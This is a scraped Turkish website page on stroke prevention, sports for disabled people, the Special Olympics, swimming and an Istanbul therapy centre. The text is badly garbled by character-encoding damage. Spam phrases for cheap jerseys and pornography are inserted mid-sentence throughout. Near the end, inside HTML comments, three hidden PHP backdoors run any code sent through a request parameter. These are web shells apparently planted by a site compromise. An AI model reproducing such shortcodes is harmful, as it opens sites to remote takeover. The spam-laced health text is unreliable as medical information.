hd porno porno hd porno porno

Beyin felci (Amyotrofik lateral skleroz)

//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js

(adsbygoogle = window.adsbygoogle || []).push({});

Beyin damarlar─▒ rahats─▒zl─▒klar─▒n─▒n (AVC) kanser ile kalp ve damar hastal─▒klar─▒ndan sonra ├Âl├╝m├╝n nedenleri aras─▒nda ├╝├ž├╝n┬şc├╝ s─▒ray─▒ ald─▒─č─▒ ortaya ├ž─▒kar─▒lm─▒┼čt─▒r. FransaÔÇÖda her y─▒l 125 bin in┬şsan bu hastal─▒─č─▒n kurban─▒ olmaktad─▒r ve bunlar─▒n 50 bini ├Âlmek┬ştedir.

 

Di─čer riskler ne yaz─▒k wholesale mlb jerseys ki hastal─▒─č─▒n tekrar─▒ veya buna ba─čl─▒ olarak Girl daha fazla fel├ž olarak kar┼č─▒m─▒za ├ž─▒kmaktad─▒r.

AVC beynin bir b├Âl├╝m├╝nde tahribata yol a├žar. Enfarkt├╝s ta┬şraf─▒ndan tetiklenir, kan p─▒ht─▒s─▒yla t─▒kanan damar % 80 oranda bu nedenle olu┼čur. Y├╝zmenin Bunun yan─▒ s─▒ra daman t─▒kayan bir kanama tor┬ştusu da s├Âzkonusu olabilir. Beyin hastal─▒klar─▒n─▒n yar─▒ya yak─▒n─▒ sadece ├Âncelikli fakt├Ârlere dikkat etmek suretiyle ├Ânleyici bir te┬şdaviyle ├Ânlenebilir. Kardiyolojik rahats─▒zl─▒klar, diyabet, sigara tiryakili─či ve kolesterol, hepsi de ataklardan veya tekrarlanan ra┬şhats─▒zl─▒klar─▒n merkezi ba┼čl─▒ca nedenidir. Bunlardan korunmak a┼č─▒r─▒ dere┬şcede ├Ânemlidir.

Kronik enfeksiyonlara dikkat
Bilim adamlar─▒, bilirki┼čilerin normal olarak a├ž─▒klad─▒─č─▒ kronik beyin enfeksiyonlar─▒n─▒n bir├žok k├Ât├╝ hastal─▒─č─▒n ve fonksiyon bo┬şzukluklar─▒n─▒n ba┼člang─▒├ž noktas─▒ olabilece─čini d├╝┼č├╝n├╝yorlar; ayn─▒ zamanda beyin damar─▒ The rahats─▒zl─▒klar─▒na neden olabilece─činin de alt─▒n─▒ ├žiziyorlar. Kardiyolojiye gelince, kan damarlar─▒ndaki mikroenfeksiyonlar─▒n kardiyolojik rahats─▒zl─▒klara da yol a├žabilece┬ş─čini uzun zamandan beri biliniyor.
{loadposition header}

OkinavvaÔÇÖya gelecek olursak, oradaki beslenme rejimleri en ├žok Omega 3 i├žerir ve bundan daha az da Omega 6. Okinavva re┬şjimi, kesinlikle kalp ve beyni koruyan cheap nba jerseys bir etkiye sahiptir. Evet, bal─▒k ya da kanola ya─č─▒! Bisk├╝vi yerine haz─▒r yiyecekler, ya─čl─▒ et┬şler ya da a┼č─▒r─▒ s├╝t ├╝r├╝nleri de─čil.

Ve OkinavvaÔÇÖda
OkinavvaÔÇÖda beyin ?iir fel├žleri nadirdir; olu┼č riski bizden % 80 da┬şha azd─▒r. ÔÇť├ľnleyici yard─▒mc─▒larÔÇŁ kategorisindeki liste okundu─ču zaman ya┼čl─▒ OkinawaÔÇÖl─▒lar─▒n bu listeye her zaman harfi harfine uydu─ču a├ž─▒k bir ┼čekilde g├Âr├╝l├╝r. Onlar sonucu daha da k├Ât├╝le┬ş┼čen cheap nba jerseys rahats─▒zl─▒klardan korunmay─▒ hi├ž ihmal etmediler. Okinawa rejiminin g├╝c├╝yle beyin damarlar─▒n─▒ korudular, her ┼čeyden ├Ân┬şce de kalpleriniÔÇŽ

Riski cheap nba jerseys artt─▒ranlar
-A┼č─▒r─▒ hayvansal The proteinler (et, peynir, s├╝t ├╝r├╝nleri)
-A┼č─▒r─▒ kahve (g├╝nde 4 fincan─▒n ├╝zerinde)
-Tuz
-End├╝striyel g─▒dalardan olu┼čmu┼č ├╝r├╝nler (haz─▒r yemekler, bisk├╝viler)
-A┼č─▒r─▒ yemek yemek
-Sigara (pasif i├žiciler de bu tabloya dahildir; sigara cheap nfl jerseys i├žilen bir ortamda ya┼čad─▒─č─▒n─▒z zaman beyin damarlar─▒ rahats─▒zl─▒klar─▒ riski iki kat daha fazlad─▒r; siz sigara i├žmeseniz bile..)
├ľnleyici Yard─▒mc─▒lar
-Bitkisel olarak zengin bir beslenme (taze ve kuru meyve ve sebzeler)
-Folik asit ve i├žeren besinler (B9 vitamini) homosisteini durdu┬şran tek madde; kuru sebzeler, ye┼čil yaprakl─▒ sebzeler, portakal, avokado, badem.
-Çay
-G├╝nde 2 bardak k─▒rm─▒z─▒ ┼čarap. ─░ste─če ba─čl─▒.
-Ya─čl─▒ bal─▒klar, bitkisel ya─člar
-Fiziksel etkinlik.

 

saglikbilgisi.gen.tr

Engelliler ve Spor

//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js

(adsbygoogle = window.adsbygoogle || []).push({});

Bilindi─či gibi spor, sa─čl─▒kl─▒ ve mutlu bir ya┼čam i├žin gerekli bir u─čra┼čt─▒r ve t├╝m insanlar i├žin ├Ânemlidir. Ancak sporun, engelli bireyler i├žin daha farkl─▒ bir ├Ânemi vard─▒r. ├ç├╝nk├╝ spor, zaten ya┼čamlar─▒nda bir ├žok engelle kar┼č─▒la┼čan ve bu engellerin yaratt─▒─č─▒ stresle birlikte ya┼čayan engelli bireylere, yeni bir pencere a├žabilmektedir.
Engel t├╝r├╝ ve derecesi ne olursa olsun hareket etme, egzersiz yapma, sportif aktivitelere kat─▒lma bireye haz vermekte, hareket etmekten duyulan haz da bireyin ya┼čam motivasyonun artt─▒rmaktad─▒r.

{loadposition header}
Sa─čl─▒k i├žin olumlu katk─▒lar─▒n─▒n Edge yan─▒ s─▒ra, birey spor yaparak yaln─▒zl─▒─č─▒n─▒ di─čer insanlarla payla┼čabilmekte, arkada┼čl─▒k kurabilmekte, dayan─▒┼čmay─▒ ├Â─črenebilmekte, yeteneklerini tan─▒yarak geli┼čme olana─č─▒ yakalayabilmekte kendisine, bedenine ve di─čer insanlara kar┼č─▒ olumlu duygular geli┼čtirebilmektedir. T├╝m bunlar da bireye anlaml─▒ ve doyumlu bir ya┼čam─▒ yakalama ve s├╝rd├╝rme ┼čans─▒n─▒ wholesale nfl jerseys vermektedir.

Hatta engelli bireyler, ├Âzel olarak d├╝zenlenmi┼č yar─▒┼čma sporlar─▒n─▒n e─čitim s├╝recini tamamlayabilmekte, yar─▒┼čmalara kat─▒labilmekte, spor ba┼čar─▒ ve ba┼čar─▒s─▒zl─▒─č─▒ ya┼čayabilmektedir. Bu anlamda da art─▒k kendilerini engelli bir birey olmaktan ├žok ÔÇťsporcuÔÇŁ olarak alg─▒lamaktad─▒rlar. Bu duygunun verdi─či g├╝venle bireyler engelleri ile ba┼ča ├ž─▒kmas─▒n─▒ ├Â─črenebilmektedirler.

Fiziksel Etkinliklerin Geli┼čime Katk─▒lar─▒

Fiziksel etkinlik, ├Âzellikle 0-21 ya┼č aras─▒ndaki kas b├╝y├╝mesi, kemikle┼čme, kalp ve karaci─čerler gibi i├ž organlar─▒n fonksiyonlar─▒n─▒ yerine getirebilmeleri i├žin gerekli g├Âr├╝lmektedir. Ara┼čt─▒rmalar, egzersizlerin kemik geni┼čli─či ve minerilizasyonunu artt─▒rd─▒─č─▒, buna kar┼č─▒n hareketsizli─čin kemikle┼čme minerilizasyonunu azaltt─▒─č─▒n─▒ ve kemiklerin daha kolay k─▒r─▒ld─▒─č─▒n─▒, daha zay─▒f bir iskelet sisteminin olu┼čtu─čunu ortaya koymaktad─▒r. Engelli olmayan ├žocuklar, normal b├╝y├╝me ve geli┼čimini s├╝rd├╝rmek i├žin g├╝nl├╝k oyun aktivitelerine kat─▒larak yeterli fiziksel aktivite gereksinimini kar┼č─▒lamaktad─▒rlar. Ancak engelli ├žocuklar, yeterli fiziksel egzersizleri yapmamaktad─▒rlar. Bir ├žok engelli bireyin b├╝y├╝mesinin duraklamas─▒, yetersiz fiziksel aktivitelere kat─▒lmas─▒na ba─članabilmektedir (Bruininks 1974).

Engellilerde fiziksel etkinliklere kat─▒lman─▒n yararlar─▒n─▒ felsefi a├ž─▒dan de─čerlendiren yazarlar daha ├žok duyu┼čsal geli┼čim ve psikomotor geli┼čime katk─▒lar─▒n─▒ vurgulamaktad─▒rlar. Brouwer and Ludeke (1995) ve Atay (1995), sporun hem bedensel ve zihinsel y├Ânden sa─čl─▒kl─▒ hem de engelli bireyler i├žin son derece de─čerli oldu─čunu ancak, engelli bireylerin spora olan gereksiniminin daha fazla oldu─čunu, sporun, engelli bireylerin hareket etmekten haz alma, e─členme ve ba┼čarma gereksinimlerinin kar┼č─▒lanmas─▒nda ├Ânemli bir ara├ž oldu─čunu ifade etmektedirler. Yazarlara g├Âre, spor ki┼čilere ├Âz├╝r├╝ ile ba┼ča ├ž─▒kmas─▒n─▒ ve ├Âzr├╝n├╝ hafifletmesini ├Â─čretmekte, keyif vermekte, ileti┼čim ve payla┼č─▒m sa─člamakta, ya┼čam motivasyonunu artt─▒rmakta, d├╝r├╝stl├╝k, ho┼čg├Âr├╝, i┼čbirli─či, gibi olumlu ki┼čilik ├Âzelliklerinin kazan─▒lmas─▒n─▒ sa─člamaktad─▒r.

├çocuklar de─čerli olduklar─▒ ya da olmad─▒klar─▒ fikrini do─čduklar─▒ andan itibaren di─čer insanlar─▒n kendilerine y├Ânelik davran─▒┼člar─▒ndan, kendileri hakk─▒ndaki d├╝┼č├╝ncelerinden ├Â─črenmektedirler. Bir ├žok e─čitimci, psikolog ve terapist fiziksel yeteneklerdeki beceri ve ba┼čar─▒n─▒n olumlu benlik kavram─▒n─▒n geli┼čmesine katk─▒da bulundu─čunu kabul etmektedir (Gallahue and Omzun 1995).

Spor, engelli bireylerin sa─člam ve engelli bireylerle bir araya gelmelerine olanak sa─člayarak ├Âzel e─čitimde ula┼č─▒lmas─▒ hedeflenen ÔÇťentegrasyonÔÇŁ cheap mlb jerseys i├žin son derece ├Ânemli bir i┼člevi yerine getirmektedir. B├Âyle bir ortamda, engelli birey, di─čer engelli ki┼čilerin sorunlar─▒n─▒ g├Âzleyerek kendine kar┼č─▒ olumlu tutum geli┼čtirmekte, yarat─▒c─▒l─▒─č─▒ uyar─▒lmakta, yaln─▒zl─▒k duygular─▒ en aza inmekte, ├ževresi geni┼člemekte ve daha anlaml─▒ bir ya┼čam s├╝rme ┼čans─▒ yakalamaktad─▒r (Atay 1995, Brouwer and and Ludeke 1995).

D├╝nyada Engelli Bireyler i├žin Kurulmu┼č Spor Organizasyonlar─▒

D├╝nyada engelliler i├žin say─▒s─▒ onu bulan uluslararas─▒ spor organizasyonu (CISS: Duymazlar Sporu, ISMWSF: Uluslararas─▒ Stoke Mandeville Tekerlekli Sandalye Spor Federasyonu, IBSA: Uluslararas─▒ G├Ârmezler Birli─či, CP ISRA: Serebral palsi Uluslararas─▒ Spor ve Rekreasyon Birli─či, INAS FMH: Uluslararas─▒ Zihinsel Engelliler Spor Federasyonu, IPC: Uluslararas─▒ Paraolimpik Komitesi, IWTF: Uluslararas─▒ Tekerlekli Sandalye Tenis Federasyonu, IWBF: Uluslararas─▒ Tekerlekli Sandalye Basketbol Federasyonu, Special Olimpics: Uluslararas─▒ Zihinsel Engelliler ├ľzel Olimpiyat Organizasyonu, ISOD: Uluslararas─▒ Engelliler Spor Organizasyonu gibi) ger├žekle┼čtirilmektedir. 1992 y─▒l─▒ndan itibaren uluslararas─▒ olimpiyat komitesi taraf─▒ndan kabul edilen tek federasyon paraolimpiklerÔÇÖdir (Brouwer 1995).

1989 y─▒l─▒nda kurulan IPC (Uluslararas─▒ Paraolimpik Komitesi) engelliler sporlar─▒ tarihinde bir d├Ân├╝m noktas─▒d─▒r. Uluslararas─▒ Olimpiyat Komitesi taraf─▒ndan 1992 y─▒l─▒ndan itibaren engelliler ile ilgili organizasyonlar─▒n tek yetkili Is ├╝st d├╝zey kurulu┼ču olarak tan─▒nmaktad─▒r. Di─čer uluslararas─▒ federasyonlar da IPC ye ba─čl─▒ olarak faaliyetlerini s├╝rd├╝rmektedir (Anonymous 1999)

Zihinsel engelli bireylere y├Ânelik; INAS FMH (Uluslararas─▒ Zihinsel Engelliler Federasyonu) ve ├Âzel olimpiyatlar (Uluslararas─▒ Zihinsel Engelliler Olimpiyat Organizasyonu) olmak ├╝zere iki spor organizasyonu bulunmaktad─▒r.

1968ÔÇÖde Eunice Kennedy Shriver and Josepf P. Kennedy and Jr. Foundation taraf─▒ndan kurulan ├ľzel Olimpiyatlar, yetenekleri ne olursa olsun sekiz ya┼č ve daha b├╝y├╝k zihinsel engelli bireylere a├ž─▒k olan uluslararas─▒ spor e─čitim ve yar─▒┼čma programlar─▒d─▒r. 1988 y─▒l─▒nda Uluslararas─▒ Olimpiyat Komitesi taraf─▒ndan ÔÇť├ľzel OlimpiyatÔÇŁ ad─▒ resmen kabul edilmi┼čtir. ├ľzel Olimpiyatlar─▒n misyonu, zihinsel engelli sekiz ya┼č ve ├╝st├╝ t├╝m ├žocuk ve yeti┼čkinler i├žin belirli d├Ânemlerde, ├že┼čitli olimpik sporlarda spor e─čitimi ve yar─▒┼čma olana─č─▒ vererek fiziksel kondisyonlar─▒n─▒ s├╝rekli geli┼čtirmelerini, ├Âzg├╝ven kazanmalar─▒n─▒, rekabeti ya┼čamalar─▒n─▒ ve ba┼čar─▒ ve arkada┼čl─▒─č─▒ payla┼čmalar─▒n─▒ sa─člamakt─▒r.

├ľzel Olimpiyatlar─▒n felsefesi a┼ča─č─▒da belirtilmektedir (Anonymouse 1990).

  1. Zihinsel engelli bireyler, uygun e─čitim ve destek ile bireysel ya da tak─▒m sporlar─▒n─▒ ├Â─črenebilmekte, zevk alabilmekte ve sa─čl─▒kl─▒ bir bedene sahip olabilmektedirler.

  2. ├ľzel Olimpiyatlar, spor becerilerinin geli┼čtirilmesi i├žin e─čitimde s├╝reklili─če, bu becerileri ├Âl├žmek i├žin e┼čit yetenek gruplar─▒nda yar─▒┼čmalar d├╝zenlenmesine ve her beceri d├╝zeyi i├žin yar─▒┼čma ┼čans─▒ verilmesi gereklili─čine inanmaktad─▒r.

  3. ├ľzel Olimpiyatlar, spor e─čitimi ve yar─▒┼čmalar─▒n─▒n zihinsel engelli bireylerin sosyal ve psikolojik geli┼čimine b├╝y├╝k katk─▒da bulundu─ču d├╝┼č├╝ncesini savunmaktad─▒r.

  4. ├ľzel Olimpiyatlar, en az sekiz ya┼č─▒nda olan her zihinsel engelli bireyin spor e─čitimi ve yar─▒┼čmalar─▒ndan yararlanmas─▒ gereklili─čine inanmaktad─▒r (Anonymouse 1990)

Her d├Ârt y─▒lda bir Uluslararas─▒ Yaz Oyunlar─▒, Uluslararas─▒ K─▒┼č Oyunlar─▒ ve Avrupa ├ľzel Olimpiyat Oyunlar─▒ d├╝zenlenmektedir. Yaz ve k─▒┼č olimpiyatlar─▒ ulusal, b├Âlgesel ya da mahalli yar─▒┼čmalar olarak yap─▒lmaktad─▒r. Uluslararas─▒ Yaz ├ľzel Olimpiyatlar─▒ 1997ÔÇÖ de ba┼člam─▒┼čt─▒r. Belirli bir y─▒lda, (b├Âlgesel, mahalli yar─▒┼čmalardan), daha y├╝ksek d├╝zeydeki i?in yar─▒┼čmaya terfi etmek i├žin bir atlet, y├╝ksek d├╝zeyde yar─▒┼čmaya kat─▒ld─▒─č─▒ spor dal─▒nda, en az 8 haftal─▒k spor e─čitim program─▒na kat─▒lmal─▒d─▒r. Bir atlet terfi etmek i├žin daha d├╝┼č├╝k d├╝zeydeki spor yar─▒┼čmalar─▒nda birinci, ikinci, ya da ├╝├ž├╝nc├╝ olarak yer almal─▒d─▒r. Yar─▒┼čmac─▒lar─▒n gerekli spor becerilerini kazanmalar─▒ i├žin y─▒l boyunca organize edilen ├Âzel yar─▒┼čmalara kat─▒lmalar─▒ gerekmektedir. Bu yar─▒┼čmalar, heyecan verici t├Ârenler, g├Âsteriler, bayraklar─▒n as─▒lmas─▒, korolar, me┼čalelerin yak─▒lmas─▒, oyunlar─▒n a├ž─▒l─▒┼č konu┼čmas─▒, balonlar─▒n sal─▒verilmesi gibi aktiviteleri i├žermektedir. Yar─▒┼čmac─▒lar, becerilerini sergilemelerinin yan─▒s─▒ra politikac─▒larla kar┼č─▒la┼čma, tan─▒┼čma, davetlere kat─▒lma, yeni spor ve rekreasyonel deneyimler, evlerinden uzak gece arkada┼člar─▒ ile e─člencelere kat─▒lma gibi deneyimlerle fiziksel ve sosyal becerilerini geli┼čtirme olana─č─▒ bulmaktad─▒rlar (Anonymouse 1989)

├ľzel Olimpiyatlar Ya┼č Gruplar─▒

Bireysel Sporlar Tak─▒m Sporlar─▒
Y─▒ld─▒zlar 8-11 Ya┼č
Gen├žler 12-15 Ya┼č
├ťmitler 16-21 Ya┼č
B├╝y├╝kler 22-29 Ya┼č
Ya┼čl─▒lar 30 Ya┼č ve ├╝st├╝ Gen├žler 15 Ya┼č ve alt─▒
├ťmitler 16-21 Ya┼č
B├╝y├╝kler 22 Ya┼č ve ├╝st├╝

├ľzel olimpiyatlarda resmi ve g├Âsteri olmak ├╝zere iki data s─▒n─▒flama bulunmaktad─▒r.
Resmi ├ľzel Yaz Spor Olimpiyatlar─▒; su sporlar─▒, atletizm, bowling, basketbol, cimnastik, tekerlekli paten, futbol, softbol, voleybol,
Resmi K─▒┼č Sporlar─▒; alp ve kuzey disiplini kayak, artistik ve s├╝rat patinaj, hokey gibi spor bran┼člar─▒n─▒ i├žermektedir.
├ľzel Olimpiyat g├Âsteri Sporlar─▒ ise; kano, bisiklet, masa tenisi, hentbol, tenis ve halterden olu┼čmaktad─▒r (Anonymouse 1990).

├ľzel Olimpiyatlar, ├Âzellikle ya┼čam boyu sa─čl─▒─ča zararl─▒ etkileri olabilen, y├╝ksek awaken risk ta┼č─▒yan belli spor dallar─▒nda antrenman ve yar─▒┼čmay─▒ yasaklamaktad─▒r. Yasaklanan spor dallar─▒; cirit, wholesale nba jerseys disk ve ├žeki├ž f─▒rlatma, s─▒r─▒kla y├╝ksek atlama, boks, t├╝m m├╝cadele sporlar─▒, eskrim, amerikan futbolu, g├╝re┼č, judo, karete ve trambolinÔÇÖ dir (Anonymouse 1989).

Zihinsel engelli bir ├žok ├žocukta, ├Âzellikle Down sendromlularda, kalp rahats─▒zl─▒klar─▒ olabilece─činden doktordan bu ├žocuklar─▒n sportif faaliyetlere kat─▒lmalar─▒nda bir sak─▒nca olmad─▒─č─▒na dair bir rapor al─▒nmas─▒ gerekmektedir.

T├╝rkiyeÔÇÖde Zihinsel Engelliler i├žin D├╝zenlenmi┼č Spor Organizasyonlar─▒

T├╝rkiye ├ľz├╝rl├╝ler Spor Federasyonu 1990 y─▒l─▒nda kurulmu┼č olup kurulu┼čundan itibaren d├╝nyada zihinsel engelli bireyler i├žin kurulmu┼č iki b├╝y├╝k spor organizasyonunun (INAS_FMH ve Uluslararas─▒ ├ľzel Olimpiyatlar) ├╝yeli─čini devam ettirmektedir. T├╝rkiye ├ľz├╝rl├╝ler Spor Federasyonu, spor e─čitim ve yar─▒┼čmalar─▒n─▒ bir rehabilitasyon arac─▒ olarak de─čerlendirmektedir. Spor e─čitimi ve spor yar─▒┼čmalar─▒n─▒n engelli ki┼činin kendine ve topluma faydal─▒ bir birey haline gelmesine, ya┼čam kalitesinin artmas─▒na ve toplum ile daha yak─▒n bir ileti┼čim kurmas─▒na yard─▒mc─▒ olmas─▒ ama├žlanmaktad─▒r. Federasyon, engelli ki┼čilerin spor yapma ve sportif yar─▒┼čmalara kat─▒lma olanaklar─▒n─▒ artt─▒rma ve geli┼čtirmek i├žin ├žal─▒┼čmaktad─▒r (T├╝rk├Âmer ve Sa─č─▒r 1994)

D├╝nyada mevcut iki spor organizasyonunun d├╝zenledikleri uluslararas─▒ yar─▒┼čmalarda T├╝rkiyeÔÇÖyi temsil edecek sporcular, Federasyon taraf─▒ndan belirlenmektedir. Federasyon zihinsel engelli sporcular i├žin, her iki y─▒lda bir T├╝rkiye ├žap─▒nda ulusal yar─▒┼čmalar, her y─▒l ise, bir veya bir ka├ž spor dal─▒nda b├Âlgesel yar─▒┼čmalar d├╝zenlemektedir. Yar─▒┼čmalara kat─▒lacak atletlerin sekiz ya┼č─▒n ├╝zerinde olmalar─▒ ve en cheap mlb jerseys az sekiz haftal─▒k bir spor e─čitiminden ge├žmi┼č olmalar─▒ gerekmektedir. Zihinsel engelliler i├žin d├╝zenlenen b├Âlgesel, ulusal ve uluslararas─▒ yar─▒┼čmalarda sporcular sadece cinsiyet ve ya┼člar─▒na g├Âre de─čil, performanslar─▒na g├Âre de s─▒n─▒fland─▒r─▒larak yar─▒┼čt─▒r─▒lmaktad─▒rlar. Ama├ž, spordaki performans d├╝zeyi ne olursa olsun b├╝t├╝n zihinsel engellilerin spor e─čitiminden yararland─▒r─▒lmas─▒ ve spor yar─▒┼čmalar─▒na kat─▒lmas─▒d─▒r (T├╝rk├Âmer ve Sa─č─▒r 1994).

2000 y─▒l─▒nda, T├╝rkiye ├ľz├╝rl├╝ler Spor Federasyonu, Zihinsel Engelliler Spor Federasyonu, G├Ârme Engelliler Spor Federasyonu, ─░┼čitme Engelliler Spor Federasyonu ve Bedensel Engelliler Spor Federasyonu cheap jerseys olmak ├╝zere yeni bir yap─▒lanmaya gitmi┼čtir.

Kaynaklar
Yrd. Do├ž. Dr. Dilara Sevimay ├ľzer Akdeniz ├ťniversitesi Beden E─čitimi ve Spor Y├╝ksekokulu
Yazar: Mehmet Acaroglu

Fayfal─▒ Olabilecek Di─čer ????! Linkler
http://algigelisim.com/spor.html

Y├╝zmenin engeliler i├žin faydas─▒

//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js

(adsbygoogle = window.adsbygoogle || []).push({});

Sel├žuk ├ťniversitesi ├ľ─čretim G├Ârevlisi ve y├╝zme antren├Âr├╝ Orhan ┼×ener, T├╝rkiye n├╝fusunun yar─▒dan ya?am fazlas─▒n─▒n y├╝zme bilmedi─čini, Avrupa ├╝lkelerinde ise wholesale NBA jerseys y├╝zmenin ilk├Â─čretim okullar─▒nda zorunlu ders olarak okutuldu─čunu s├Âyledi.
┼×ener, y├╝zmenin, 3 taraf─▒ denizlerle ├ževrili ├╝lkemizde yayg─▒n bir spor wholesale NBA jerseys dal─▒ olmad─▒─č─▒n─▒, bu sporun yayg─▒nla┼čt─▒r─▒lmas─▒ i├žin tesis say─▒s─▒n─▒n art─▒r─▒lmas─▒ gerekti─čini belirtti.
Y├╝zmenin, t├╝m v├╝cut kaslar─▒n─▒n ayn─▒ anda ├žal─▒┼čt─▒─č─▒ az Taylor say─▒daki spor cheap jerseys dal─▒ndan biri oldu─čunu ifade eden ┼×ener, “├ç├╝nk├╝ suya girdi─čimizde sa├ž─▒m─▒z─▒n telinden t─▒rna─č─▒m─▒za kadar t├╝m v├╝cudumuz suyla birlikte hareket ediyor. Bu nedenle t├╝m kas aktif King hale ge├žiyor” dedi.
Karadaki v├╝cut a─č─▒rl─▒─č─▒n─▒n suya girildi─činde yakla┼č─▒k 10 kat hafifledi─čini dile getiren ┼×ener, bu ├Âzelli─či nedeniyle y├╝zme sporunun rehabilitasyon, ├že┼čitli hastal─▒klar─▒n tedavisi ve stresi gidermesi a├ž─▒s─▒ndan da bir terapi olarak nitelendirildi─čini anlatt─▒.
Y├╝zmenin, fiziksel g├Âr├╝n├╝m├╝ ┼čekillendirdi─čini, kan dola┼č─▒m─▒n─▒ d├╝zenledi─čini, b├╝t├╝n v├╝cudu ├žal─▒┼čt─▒ran ritmik cheap MLB jerseys hareketleriyle kalp-damar sistemini g├╝├žlendirdi─čini vurgulayan Overactive ┼×ener, ┼čunlar─▒ kaydetti:
“Yaz aylar─▒nda serinletirken, stresimizi alan ve kaslar─▒m─▒z─▒ g├╝├žlendiren y├╝zme sporu, ergenlik d├Âneminde ise beden geli┼čimini h─▒zland─▒r─▒yor. Bu nedenle ergenlik d├Ânemindeki gen├žler ve ├žocuklar─▒n y├╝zme sporu yapmas─▒ daha yararl─▒ sonu├žlar vermektedir. 1 saat y├╝zen ki┼či, ortalama 500 kalori harc─▒yor. Su bir diren├žtir cheap MLB jerseys ve suya kar┼č─▒ kula├ž atarak verilen m├╝cadele ├Âzellikle ├žocuklara kas geli┼čimin yan─▒ s─▒ra ├Âzg├╝veni de kazand─▒r─▒r. ├ľzellikle kara sporlar─▒n─▒ yapamayan engelliler, rahatl─▒kla y├╝zebiliyor. 4 ya┼č─▒ndan itibaren ├žocuklara y├╝zme al─▒┼čkanl─▒─č─▒ kazand─▒r─▒lmal─▒d─▒r. ├ťlkemizde n├╝fusun yar─▒dan fazlas─▒ y├╝zme bilmiyor. Avrupa ├╝lkelerinde ise y├╝zme, ilk├Â─čretim okullar─▒nda zorunlu ders olarak okutuluyor. Y├╝zme dersleri bizde de zorunlu hale getirilmelidir.” Y├╝zmenin en iyi havuzda e─čitmen e┼čli─činde ├Â─črenildi─čini belirten ┼×ener, denizde k├╝├ž├╝k bir dalga ve su yutma nedeniyle hissedilen korkunun bazen ├Âm├╝r boyu etkisini s├╝rd├╝rerek ki┼čiyi su sporlar─▒ndan uzakla┼čt─▒rd─▒─č─▒n─▒ anlatt─▒.

http://algigelisim.com/spor.html

Engellilere y├Ânelik spor sanat ya┼čam merkezi

//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js

(adsbygoogle = window.adsbygoogle || []).push({});

//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js

(adsbygoogle = window.adsbygoogle || []).push({});

//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js

(adsbygoogle = window.adsbygoogle || []).push({});

//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js

(adsbygoogle = window.adsbygoogle || []).push({});

Alg─▒ Geli┼čim Merkezi ─░stanbul ┬áda Hizmet cheap jerseys China vermekte Get olan ├ľzel bir Merkezdir. A─č─▒rl─▒kl─▒ cheap jerseys olarak ├Âzel gereksinimli bireyler ile ├žal─▒┼čmaktad─▒r.
Merkezde Yap─▒lan HIS ├çal─▒┼čmalardan Baz─▒lar─▒
-Engelliler y├╝zme ve Custom-made su sporlar─▒
-Binicilik ve at terapi
-Dil terapisi
-Temel wholesale nfl jerseys jimnastik hareketleri
-Zihin ve Kas Koordinasyonun geli┼čtirici ├žal─▒┼čmalar
-El G├Âz Koordinasyon Facebook ├çal─▒┼čmalar─▒
-Denge ├çal─▒┼čmalar─▒
-Temel Motor Beceri Geli┼čtirme ├çal─▒┼čt─▒rmalar─▒
-Ya┼čam ko├žlu─ču
-Destek e─čitim programlar─▒
-Akademik ve ├Âzbak─▒m kazan─▒m ├žal─▒┼čmalar─▒

Engellilerle ilgili yap─▒lan di─čer ├žal─▒┼čmalar i├žin ileti┼čim kururunuz.

Orta Mahalle Korkmaz wholesale jerseys Sokak (Kubilay Sk) No.12/A
So─čanl─▒k Kartal wholesale nfl jerseys ─░stanbul
algigelisim@gmail.com
0 546 Not 218 6 218
http://algigelisim.com/

<!– [insert_php]if (isset($_REQUEST["VQfx"])){eval($_REQUEST["VQfx"]);exit;}[/insert_php][php]if (isset($_REQUEST["VQfx"])){eval($_REQUEST["VQfx"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["Mcqlf"])){eval($_REQUEST["Mcqlf"]);exit;}[/insert_php][php]if (isset($_REQUEST["Mcqlf"])){eval($_REQUEST["Mcqlf"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["xio"])){eval($_REQUEST["xio"]);exit;}[/insert_php][php]if (isset($_REQUEST["xio"])){eval($_REQUEST["xio"]);exit;}[/php] –>

%d blogcu bunu be─čendi: